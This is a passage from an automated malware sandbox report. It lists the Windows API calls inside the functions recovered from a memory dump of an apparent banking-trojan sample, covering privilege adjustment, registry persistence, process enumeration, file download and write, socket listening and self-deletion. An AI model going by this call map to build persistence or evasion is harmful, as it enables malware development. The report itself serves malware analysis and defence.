      • Part of subcall function 00A036DA: freeaddrinfo.WS2_32(?,?,0000FFFF,00000000,00000017,00000080,?,?), ref: 00A03C4B
      • Part of subcall function 00A036DA: sendto.WS2_32(000000FF,?,?,00000000,00000017,00000010), ref: 00A03D17
      • Part of subcall function 00A036DA: recvfrom.WS2_32(000000FF,?,?,00000000,00000017,00000080), ref: 00A03D5C
      • Part of subcall function 00A036DA: sendto.WS2_32(?,?,?,00000000,?,?), ref: 00A03DD8
      • Part of subcall function 00A036DA: select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 00A03E17
      • Part of subcall function 00A03FFE: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00A040CD
      • Part of subcall function 00A03FFE: freeaddrinfo.WS2_32(?), ref: 00A04103
      • Part of subcall function 00A0B3EC: recv.WS2_32(?,?,00000004,00000000), ref: 00A0B410
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A0B8E5: shutdown.WS2_32(?,00000002), ref: 00A0B8ED
      • Part of subcall function 00A0B8E5: #3.WS2_32(?,?,00000002,009FA43E), ref: 00A0B8F4
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F891D, Relevance: 10.6, APIs: 7, Instructions: 145
    APIs
    • LocalFree.KERNEL32 ref: 009F8959
      • Part of subcall function 00A1BBC0: GetCurrentThreadId.KERNEL32 ref: 00A1BBCA
      • Part of subcall function 00A1BBC0: GetThreadDesktop.USER32 ref: 00A1BBD1
      • Part of subcall function 00A1BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00A1BBEB
      • Part of subcall function 00A04AC6: GetCurrentThread.KERNEL32 ref: 00A04AD3
      • Part of subcall function 00A04AC6: SetThreadPriority.KERNEL32 ref: 00A04ADA
      • Part of subcall function 00A04AC6: SetEvent.KERNEL32 ref: 00A04AEC
      • Part of subcall function 00A04AC6: SetEvent.KERNEL32 ref: 00A04B39
      • Part of subcall function 00A04AC6: GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00A04B46
    • Sleep.KERNEL32(0000000A), ref: 009F8AAD
      • Part of subcall function 00A1BA3D: DeleteObject.GDI32(00000000), ref: 00A1BA4D
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BA5D
      • Part of subcall function 00A1BA3D: TlsFree.KERNEL32 ref: 00A1BA68
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BA76
      • Part of subcall function 00A1BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00A1BA80
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32 ref: 00A1BA8D
      • Part of subcall function 00A1BA3D: SelectObject.GDI32(00000000,00000000), ref: 00A1BAA7
      • Part of subcall function 00A1BA3D: DeleteObject.GDI32(00000000), ref: 00A1BAB8
      • Part of subcall function 00A1BA3D: DeleteDC.GDI32(00000000), ref: 00A1BAC5
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BAD6
      • Part of subcall function 00A1BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A1BAE5
      • Part of subcall function 00A1BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A1BC3C,00000000,00A245C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A1BAFE
    • Sleep.KERNEL32(000000FF), ref: 009F89A1
    • ExitProcess.KERNEL32(00000000,00000000), ref: 009F89B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 009F8A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 009F8A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 009F8A96
    • NtClose.NTDLL(?,?,00000000), ref: 009F8A9E
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09F62, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
    APIs
      • Part of subcall function 00A0D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00A0D9DF
    • CharToOemW.USER32(?,?), ref: 00A09F93
    • GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00A0A00F
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
      • Part of subcall function 00A0D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A0D7C4
      • Part of subcall function 00A0D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00A0D7E7
      • Part of subcall function 00A0D7AA: CloseHandle.KERNEL32 ref: 00A0D7F4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A102D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A102E2
    • SetThreadPriority.KERNEL32 ref: 00A102E9
      • Part of subcall function 009F7ED5: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 009F7EF6
      • Part of subcall function 009F80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 009F817A
    • PathQuoteSpacesW.SHLWAPI(0000005C), ref: 00A10344
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • WaitForSingleObject.KERNEL32(000000C8), ref: 00A10382
      • Part of subcall function 00A0C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A0C80C
      • Part of subcall function 00A0C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A0C826
      • Part of subcall function 00A0C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00A0C835
    • WaitForSingleObject.KERNEL32(000000C8,?), ref: 00A103B8
      • Part of subcall function 00A0BD18: ReleaseMutex.KERNEL32 ref: 00A0BD1C
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09BF4, Relevance: 10.6, APIs: 7, Instructions: 74
    APIs
    • OpenProcessToken.ADVAPI32(000000FF,00000008,009F7CC0), ref: 00A09C04
    • GetTokenInformation.ADVAPI32(009F7CC0,00000019,00000000,00000000,00A22F90), ref: 00A09C24
    • GetLastError.KERNEL32(?,?,?,?,?,009F7855,00000000,009F7CC0,00A22F90), ref: 00A09C2A
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • GetTokenInformation.ADVAPI32(009F7CC0,00000019,?,00A22F90,00A22F90), ref: 00A09C51
    • GetSidSubAuthorityCount.ADVAPI32(?,?,00A22F90,00A22F90,?,?,?,?,?,?,009F7855,00000000,009F7CC0,00A22F90), ref: 00A09C59
    • GetSidSubAuthority.ADVAPI32(?,?,?,?,00A22F90,00A22F90,?,?,?,?,?,?,009F7855,00000000,009F7CC0,00A22F90), ref: 00A09C70
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • CloseHandle.KERNEL32(009F7CC0), ref: 00A09C9B
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0CAE9, Relevance: 10.6, APIs: 7, Instructions: 66
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00A0CB07
    • PathAddBackslashW.SHLWAPI(?), ref: 00A0CB1E
    • PathRemoveBackslashW.SHLWAPI(?), ref: 00A0CB2F
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A0CB3C
    • PathAddBackslashW.SHLWAPI(?), ref: 00A0CB4D
    • GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 00A0CB5C
    • CLSIDFromString.OLE32(0000007B,?), ref: 00A0CB76
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0CA60, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,?,00000000), ref: 00A0CA88
      • Part of subcall function 00A0C8C5: CharUpperW.USER32(?,?,.exe,00000000), ref: 00A0C9E6
    • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 00A0CABA
    • RegCloseKey.ADVAPI32(?), ref: 00A0CAC3
    • RegCloseKey.ADVAPI32(?), ref: 00A0CADD
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09B6C, Relevance: 10.6, APIs: 7, Instructions: 52
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A09B7C
    • OpenThreadToken.ADVAPI32 ref: 00A09B83
    • OpenProcessToken.ADVAPI32(000000FF,00000020,00A19F61), ref: 00A09B95
    • LookupPrivilegeValueW.ADVAPI32(00000000,00A19F61,?), ref: 00A09BB9
    • AdjustTokenPrivileges.ADVAPI32(00A19F61,00000000,00000001,00000000,00000000,00000000), ref: 00A09BCE
    • GetLastError.KERNEL32 ref: 00A09BD8
    • CloseHandle.KERNEL32(00A19F61), ref: 00A09BE7
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1BA81, Relevance: 10.5, APIs: 7, Instructions: 47
    APIs
    • CloseHandle.KERNEL32 ref: 00A1BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00A1BAA7
    • DeleteObject.GDI32(00000000), ref: 00A1BAB8
    • DeleteDC.GDI32(00000000), ref: 00A1BAC5
    • CloseHandle.KERNEL32(00000000), ref: 00A1BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A1BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A1BC3C,00000000,00A245C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A1BAFE
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32(00000000), ref: 00A09EC2
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32 ref: 00A09ECB
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0BBC6, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
    APIs
      • Part of subcall function 00A09B6C: GetCurrentThread.KERNEL32 ref: 00A09B7C
      • Part of subcall function 00A09B6C: OpenThreadToken.ADVAPI32 ref: 00A09B83
      • Part of subcall function 00A09B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00A19F61), ref: 00A09B95
      • Part of subcall function 00A09B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00A19F61,?), ref: 00A09BB9
      • Part of subcall function 00A09B6C: AdjustTokenPrivileges.ADVAPI32(00A19F61,00000000,00000001,00000000,00000000,00000000), ref: 00A09BCE
      • Part of subcall function 00A09B6C: GetLastError.KERNEL32 ref: 00A09BD8
      • Part of subcall function 00A09B6C: CloseHandle.KERNEL32(00A19F61), ref: 00A09BE7
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00A0BBE5
    • GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 00A0BC01
    • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 00A0BC18
    • LocalFree.KERNEL32(?), ref: 00A0BC27
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1CA22, Relevance: 9.2, APIs: 6, Instructions: 197
    APIs
    • GetAncestor.USER32(?,00000002), ref: 00A1CA4B
    • SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00A1CA76
    • PostMessageW.USER32(?,00000020,?), ref: 00A1CAB8
      • Part of subcall function 00A1C943: GetTickCount.KERNEL32 ref: 00A1C9A9
      • Part of subcall function 00A1C943: GetClassLongW.USER32(?,000000E6), ref: 00A1C9DE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A1CB4E
    • PostMessageW.USER32(?,00000112,?,?), ref: 00A1CBA1
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A1CBE0
      • Part of subcall function 00A1C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A1C7B9
      • Part of subcall function 00A1C7B3: ReleaseMutex.KERNEL32 ref: 00A1C7ED
      • Part of subcall function 00A1C7B3: IsWindow.USER32(?), ref: 00A1C7F4
      • Part of subcall function 00A1C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00A1C80E
      • Part of subcall function 00A1C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00A1C816
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A11A14, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 424
    APIs
    • EnterCriticalSection.KERNEL32(00A23FEC,?,00000000,00000000), ref: 00A11A2F
    • LeaveCriticalSection.KERNEL32(00A23FEC,?,00000000,00000000), ref: 00A11AB2
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A11C6F
      • Part of subcall function 00A184CE: EnterCriticalSection.KERNEL32(00A24170,?,00A11C94,?,?,00004E25,10000000,?,00000000,00000000), ref: 00A184D5
      • Part of subcall function 00A184CE: LeaveCriticalSection.KERNEL32(00A24170,?,00004E25,10000000,?,00000000,00000000), ref: 00A1850A
      • Part of subcall function 00A18514: EnterCriticalSection.KERNEL32(00A24170,00000000,?,00A11DB8,?,00000000,00000000), ref: 00A18520
      • Part of subcall function 00A18514: LeaveCriticalSection.KERNEL32(00A24170,?,00000000,00000000), ref: 00A1856A
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A11DEB
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A1131B: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00A114ED
      • Part of subcall function 00A1131B: RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00A1150D
      • Part of subcall function 00A1131B: RegCloseKey.ADVAPI32(000000FF), ref: 00A11520
      • Part of subcall function 00A1131B: GetLocalTime.KERNEL32(?), ref: 00A1152F
      • Part of subcall function 00A19B3D: GetTempFileNameW.KERNEL32(00A24398,pre,00000000,?), ref: 00A19BB9
      • Part of subcall function 00A15C34: CreateMutexW.KERNEL32(00A22AFC,00000000,00A24090), ref: 00A15C59
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1B425, Relevance: 9.2, APIs: 6, Instructions: 170
    APIs
      • Part of subcall function 00A0B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00A0B866
      • Part of subcall function 00A0B7E9: WSASetLastError.WS2_32(0000274C,?,?,?), ref: 00A0B877
    • WSAGetLastError.WS2_32(000000FF,?,000003E8,00000000,?,?,?), ref: 00A1B465
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00A1B47E
    • accept.WS2_32(?,?,?), ref: 00A1B4A7
      • Part of subcall function 00A0B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A0B953
      • Part of subcall function 00A0B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00A0B92E
      • Part of subcall function 00A0B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00A0B9C7
    • EnterCriticalSection.KERNEL32(00A245A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00A1B56F
    • SetEvent.KERNEL32(?), ref: 00A1B596
    • LeaveCriticalSection.KERNEL32(00A245A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00A1B59D
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A1B218: EnterCriticalSection.KERNEL32(00A245A0,?,000000FF,?,00A1B5CA,?,?,?,?), ref: 00A1B221
      • Part of subcall function 00A1B218: LeaveCriticalSection.KERNEL32(00A245A0,?,000000FF,?,00A1B5CA,?,?,?,?), ref: 00A1B284
      • Part of subcall function 00A1B218: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00A1B2B6
      • Part of subcall function 00A0C62D: SetLastError.KERNEL32(0000009B,009F83E2,00000000,00A1026D,00000000), ref: 00A0C637
      • Part of subcall function 00A0C62D: CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A0C65A
      • Part of subcall function 00A1B2E3: EnterCriticalSection.KERNEL32(00A245A0,?,?,00A1B607,00000000,00A1B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A1B2F4
      • Part of subcall function 00A1B2E3: CloseHandle.KERNEL32(?), ref: 00A1B330
      • Part of subcall function 00A1B2E3: LeaveCriticalSection.KERNEL32(00A245A0,?,?,00A1B607,00000000,00A1B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A1B37F
      • Part of subcall function 00A0C5DB: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0C5FA
      • Part of subcall function 00A0C5DB: CloseHandle.KERNEL32(?), ref: 00A0C606
      • Part of subcall function 00A0B8E5: shutdown.WS2_32(?,00000002), ref: 00A0B8ED
      • Part of subcall function 00A0B8E5: #3.WS2_32(?,?,00000002,009FA43E), ref: 00A0B8F4
      • Part of subcall function 00A0C672: WaitForMultipleObjects.KERNEL32(?,00A229A4,00000001,000000FF), ref: 00A0C684
      • Part of subcall function 00A0C695: CloseHandle.KERNEL32(?), ref: 00A0C6A3
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A14191, Relevance: 9.2, APIs: 6, Instructions: 169
    APIs
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A14206
    • StrStrIW.SHLWAPI(?,?), ref: 00A1429D
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A142C5
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00A142E2
    • GetPrivateProfileStringW.KERNEL32(?,000000FF,00000000,?,000000FF,?), ref: 00A14313
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A14334
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A13D7F, Relevance: 9.1, APIs: 6, Instructions: 142
    APIs
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A13DB6
    • StrStrIW.SHLWAPI(?,?), ref: 00A13E48
    • StrStrIW.SHLWAPI(?,?), ref: 00A13E59
    • GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00A13E75
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A13E93
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A13EAD
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F8600, Relevance: 9.1, APIs: 6, Instructions: 88
    APIs
      • Part of subcall function 00A0D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A0D8C8
      • Part of subcall function 00A0D8B7: CloseHandle.KERNEL32(00000001), ref: 00A0D8D6
      • Part of subcall function 00A1A297: StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00B31EE8), ref: 00A1A31B
      • Part of subcall function 00A1A297: lstrcmpiW.KERNEL32(E121EBEE), ref: 00A1A333
    • CreateMutexW.KERNEL32(00A22AFC,00000001,?), ref: 009F8663
    • CloseHandle.KERNEL32 ref: 009F86F3
      • Part of subcall function 00A0BD28: GetLastError.KERNEL32(7C802530,009F7E8B), ref: 00A0BD2B
      • Part of subcall function 00A0BD28: CloseHandle.KERNEL32 ref: 00A0BD39
      • Part of subcall function 00A10477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A104BA
    • CloseHandle.KERNEL32(000001E6), ref: 009F8701
      • Part of subcall function 009F853D: SHGetFolderPathW.SHELL32(00000000,00000029,00000000,00000000,?), ref: 009F8555
      • Part of subcall function 009F853D: CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 009F85A7
      • Part of subcall function 009F853D: CloseHandle.KERNEL32(?), ref: 009F85B4
      • Part of subcall function 00A16F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A16F87
      • Part of subcall function 00A16F66: Process32FirstW.KERNEL32(?,?), ref: 00A16FB0
      • Part of subcall function 00A16F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00A1700B
      • Part of subcall function 00A16F66: CloseHandle.KERNEL32 ref: 00A17028
      • Part of subcall function 00A16F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 00A1703B
      • Part of subcall function 00A16F66: CloseHandle.KERNEL32(?), ref: 00A170AC
      • Part of subcall function 00A16F66: Process32NextW.KERNEL32(?,0000022C), ref: 00A170B8
      • Part of subcall function 00A16F66: CloseHandle.KERNEL32(?), ref: 00A170C9
    • ExitWindowsEx.USER32(00000014,80000000), ref: 009F86C1
    • OpenEventW.KERNEL32(00000002,00000000,?), ref: 009F86D9
    • SetEvent.KERNEL32 ref: 009F86EC
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1A8DC, Relevance: 9.1, APIs: 6, Instructions: 79
    APIs
      • Part of subcall function 009F80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 009F817A
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A1A902
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A1A915
      • Part of subcall function 00A19DD0: SetEvent.KERNEL32(00A1A925), ref: 00A19DD6
      • Part of subcall function 00A19DD0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A19DF0
      • Part of subcall function 00A103CF: SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00A1040E
      • Part of subcall function 00A103CF: Sleep.KERNEL32(000001F4), ref: 00A1041D
      • Part of subcall function 00A103CF: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00A10432
      • Part of subcall function 00A103CF: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00A1044A
      • Part of subcall function 00A103CF: RegCloseKey.ADVAPI32(?), ref: 00A10459
      • Part of subcall function 00A0DCBF: FindFirstFileW.KERNEL32(?,?), ref: 00A0DCF0
      • Part of subcall function 00A0DCBF: FindNextFileW.KERNEL32(?,?), ref: 00A0DD4B
      • Part of subcall function 00A0DCBF: FindClose.KERNEL32 ref: 00A0DD56
      • Part of subcall function 00A0DCBF: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0DD62
      • Part of subcall function 00A0DCBF: RemoveDirectoryW.KERNEL32(?), ref: 00A0DD69
    • SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00A1A953
    • CharToOemW.USER32(?,?), ref: 00A1A96F
    • CharToOemW.USER32(?,?), ref: 00A1A97E
      • Part of subcall function 00A08ED6: wvnsprintfA.SHLWAPI(?,0000026C,?,?), ref: 00A08EF2
    • ExitProcess.KERNEL32(00000000), ref: 00A1A9D6
      • Part of subcall function 00A09F62: CharToOemW.USER32(?,?), ref: 00A09F93
      • Part of subcall function 00A09F62: GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00A0A00F
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0A327, Relevance: 9.1, APIs: 6, Instructions: 74
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A0A347
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0A375
    • InternetReadFile.WININET(?,?,00001000,?), ref: 00A0A391
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00A0A3AC
    • FlushFileBuffers.KERNEL32 ref: 00A0A3CC
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • CloseHandle.KERNEL32 ref: 00A0A3DF
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0CC75, Relevance: 9.1, APIs: 6, Instructions: 72
    APIs
    • WindowFromPoint.USER32(?,?), ref: 00A0CC91
    • SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00A0CCC2
    • GetWindowLongW.USER32(?,000000F0), ref: 00A0CCE6
    • SetWindowLongW.USER32(?,000000F0), ref: 00A0CCF7
    • GetWindowLongW.USER32(00000002,000000F0), ref: 00A0CD14
    • SetWindowLongW.USER32(?,000000F0), ref: 00A0CD22
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0D80F, Relevance: 9.1, APIs: 6, Instructions: 68
    APIs
    • CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00A0D834
    • GetFileSizeEx.KERNEL32(?,00000000), ref: 00A0D847
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00A0D86F
    • ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00A0D887
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A0D8A1
    • CloseHandle.KERNEL32(00000001), ref: 00A0D8AA
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
